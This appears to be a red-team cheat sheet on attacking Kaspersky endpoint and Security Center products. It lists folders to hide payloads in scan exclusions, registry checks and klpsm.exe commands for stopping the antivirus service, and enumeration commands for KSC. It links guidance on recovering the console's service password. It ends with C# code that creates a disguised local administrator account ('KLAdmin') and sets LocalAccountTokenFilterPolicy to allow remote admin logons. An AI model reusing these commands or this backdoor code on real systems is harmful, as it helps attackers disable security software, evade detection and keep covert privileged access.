KIS / KES

Kaspersky Endpoint Security (KES) / Kaspersky Security Center (KSC) / Kaspersy Internet Security (KIS)

• https://api-router.kaspersky-labs.com/downloads/search/v3/b2b

KES / KIS

• https://nasbench.medium.com/lolbined-using-kaspersky-endpoint-security-kes-installer-to-execute-arbitrary-commands-1c999f1b7fea

Scan Exclusions

Potential scan exclusions:

• C:\Windows\System32\LogFiles\

• C:\Windows\System32\inetsrv\

• C:\Windows\ClusterStorage\

• C:\ProgramData\Microsoft\Windows\Hyper-V\

Stop Service

• https://www.exploit-db.com/docs/english/40433-deactivating-endpoint-protection-software-in-an-unauthorized-manner-(revisited).pdf

Check if KES Self-Defense is enabled:

PS > (Get-ItemProperty -Path "HKLM:\SOFTWARE\WOW6432Node\KasperskyLab\protected\KES\settings" -Name "EnableSelfProtection").EnableSelfProtection

Check if KES external management of system services is allowed:

PS > (Get-ItemProperty -Path "HKLM:\SOFTWARE\WOW6432Node\KasperskyLab\protected\KES\settings" -Name "AllowServiceStop").AllowServiceStop

If EnableSelfProtection is 0 and AllowServiceStop is 1, then it's possible to manipulates KES application from the command line via klpsm.exe:

Cmd > cd "C:\Program Files (x86)\Kaspersky Lab\Kaspersky Endpoint Security for Windows"
Cmd > klpsm.exe stop_avp_service
Cmd > klpsm.exe start_avp_service

Remove Product

• https://support.kaspersky.com/common/uninstall/1464
• https://support.kaspersky.com/14674

KSC

• https://www.kaspersky.ru/small-to-medium-business-security/downloads/endpoint
• https://support.kaspersky.com/KSC/13/ru-RU/158830.htm
• https://habr.com/ru/companies/bastion/articles/598769/

Key	Value
Default MMC Port	13291
Remote Installation Path	%WINDIR%\Temp\KAV Remote Installations

Enumeration

Cmd > netstat -ano | findstr 13000
Cmd > "C:\Program Files (x86)\Kaspersky Lab\NetworkAgent\klnagchk.exe"
Cmd > reg query HKLM\SOFTWARE\WOW6432Node\KasperskyLab\Components\34\1103\1.0.0.0\Statistics\AVState /s /v Protection_AdmServer
PS > Get-ItemProperty HKLM:\SOFTWARE\WOW6432Node\KasperskyLab\Components\34\1103\1.0.0.0\Statistics\AVState -Name Protection_AdmServer
Cmd > C:\PROGRA~2\KASPER~1\KASPER~1\klsql2.exe -i query.sql -u administrator -p "Passw0rd!" -o query.xml

KlScSvc in LSA

• https://telegra.ph/Crackmapexec-beryot-sluzhebnyj-parol-konsoli-Kaspersky-Security-Center-12-08

Add Local Admin

KSCTools.cs

using System;
using System.DirectoryServices;
using Microsoft.Win32;

namespace KSCTools
{
    class AccountManagement
    {
        static void Main()
        {
            try
            {
                DirectoryEntry AD = new DirectoryEntry("WinNT://" + Environment.MachineName + ",computer");
                DirectoryEntry NewUser = AD.Children.Add("KLAdmin", "user");
                NewUser.Invoke("SetPassword", new object[] { "Passw0rd!" });
                NewUser.Invoke("Put", new object[] { "Description", "Kaspersky Local Administrator" });
                NewUser.CommitChanges();
                DirectoryEntry grp = AD.Children.Find("Administrators", "group");
                grp?.Invoke("Add", new object[] { NewUser.Path.ToString() });

                using (RegistryKey key = Registry.LocalMachine.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"))
                {
                    key?.SetValue("LocalAccountTokenFilterPolicy", 1, RegistryValueKind.DWord);
                }
            }
            catch { }
        }
    }
}